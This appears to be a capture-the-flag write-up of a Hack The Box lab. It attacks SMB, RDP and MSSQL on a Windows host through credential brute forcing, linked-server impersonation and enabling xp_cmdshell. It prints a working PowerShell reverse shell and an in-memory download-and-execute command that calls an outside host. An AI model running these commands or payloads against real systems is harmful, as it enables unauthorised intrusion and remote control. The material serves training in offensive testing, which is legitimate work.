piwww
Skill Assessment - Attacking Common Services - Hard
#htb#skillassessment#hard#powershell#mssql
What We Know

Initial Recon
- We start with Nmap first
nmap -p- --min-rate 10000 10.129.203.10
# Example Output
PORT STATE SERVICE
135/tcp open msrpc
445/tcp open microsoft-ds
1433/tcp open ms-sql-s
3389/tcp open ms-wbt-server
- We discover smb in port 445. mssql in 1433. rdp in 3389
Recon the SMB
- We start with smb first. We see what share it have.
smbclient -N -L //10.129.203.10
# Example output
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
C$ Disk Default share
Home Disk
IPC$ IPC Remote IPC
- Now we connect through Home
smbclient -N //10.129.203.10/home
# From here we can solve the first question
cd it
cd simon
# Then we go to Fiona and get the file
cd fiona
get creds.txt
- Now we bruteforce rdp using fiona creds because thats what 2nd question is
Brute Force the creds
hydra -l fiona -P creds.txt rdp://10.129.203.10
# Example Output
[3389][rdp] account on 10.129.203.10 might be valid but account not active for remote desktop: login: fiona password: 48Ns72!bns74@S84NNNSl, continuing attacking the account.
- Once we gain the creds, connect to rdp
xfreerdp3 /v:10.129.203.10 /u:fiona /p:'48Ns72!bns74@S84NNNSl'
Rethink the route to take
- To be truth i found blank here. So i go to mssql instead
sqsh -S 10.129.203.10 -U '.\fiona' -P '48Ns72!bns74@S84NNNSl' -h
# We add .\ because we want it to authenticate to its local SAM database not againts AD or other domain
- Now i go back into the smbclient earlier and i went inside John coz i forgot about him and i open all the file and saw this
cat information.txt
To do:
- Keep testing with the database.
- Create a local linked server.
- Simulate Impersonation.
- So i should go for mssql from the beginning. So we need to do what it said.
- Now it say Create a local linked server. So we back in mssql and we try this
Checking the existence of Linked Server
1> SELECT srvname, isremote FROM sysservers
2> go
# Example Output
WINSRV02\SQLEXPRESS
1
LOCAL.TEST.LINKED.SRV
0
- So what we see here. We are connected to
WINSRV02\SQLEXPRESSwe know that because of the 1 and we are linked toLOCAL.TEST.LINKED.SRV - Meaning here we can execute stuff in
LOCAL.TESTthroughWINSRV - So the second things the txt said is impersonate
Impersonate as Other User
1> SELECT distinct b.name FROM sys.server_permissions a
INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id
WHERE a.permission_name = 'IMPERSONATE'
2> go
john
simon
- Now we can impersonate as john or simon. Since the first question already mention simon. we go with john instead
1> EXECUTE AS LOGIN = 'john'
2> SELECT SYSTEM_USER
3> SELECT IS_SRVROLEMEMBER('sysadmin')
4> go
# Example output
john
0
- Meaning in current server john is not a sysadmin. But we know about linked server so we check there
- So this one we check if john have sysadmin from the
WINSRV02
Checking john RoleMember in Linked Server
1> select * from openquery("LOCAL.TEST.LINKED.SRV", 'SELECT IS_SRVROLEMEMBER(''sysadmin'')')
2> GO
# Example output
1
- But john is a sysadmin in the linked server.
- Now we can SQL command on different server through the linked server
- Now we try execute command
Testing command execution
1> EXECUTE('xp_cmdshell ''whoami''') AT [LOCAL.TEST.LINKED.SRV]
2> go
# Expected output would be error because xp_cmdshell is disable by default
- So we need to enable it
1> EXECUTE('EXECUTE sp_configure ''show advanced options'', 1
RECONFIGURE
EXECUTE sp_configure ''xp_cmdshell'', 1
RECONFIGURE') AT [LOCAL.TEST.LINKED.SRV]
2> go
- Now if you execute the command again it will show us who we are.
- Now we will try gain a powershell
Crafting payload and deliver
- Refer here [[Reverse Shell]]
- First craft a payload script and named it shell.ps1. Make sure edit your ip address
- Original script source
# Nikhil SamratAshok Mittal: http://www.labofapenetrationtester.com/2015/05/week-of-powershell-shells-day-1.html
$client = New-Object System.Net.Sockets.TCPClient('10.10.10.10',80);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex ". { $data } 2>&1" | Out-String ); $sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
- Now start 2 listener. 1 for http download server and the second for the listener for the incoming connection
# Download server
python3 -m http.server 80
# Listening for connection
nc -lvnp 8080
- Back to powershell. We download the script into the memory and run it from there
- And the way we transfer refer here [[03 - PowerShell Web Download]]
1> EXECUTE('xp_cmdshell ''echo IEX (New-Object Net.WebClient).DownloadString("http://10.10.14.202/shell.ps1") | powershell -noprofile''') AT [LOCAL.TEST.LINKED.SRV]
2> go
- Once the connection has been established.
- We look for the flag.txt file and done
Get-ChildItem -Path C:\ -Filter flag.txt -Recurse -ErrorAction SilentlyContinue -Force
Directory: C:\Users\Administrator\Desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 4/21/2022 4:07 PM 27 flag.txt
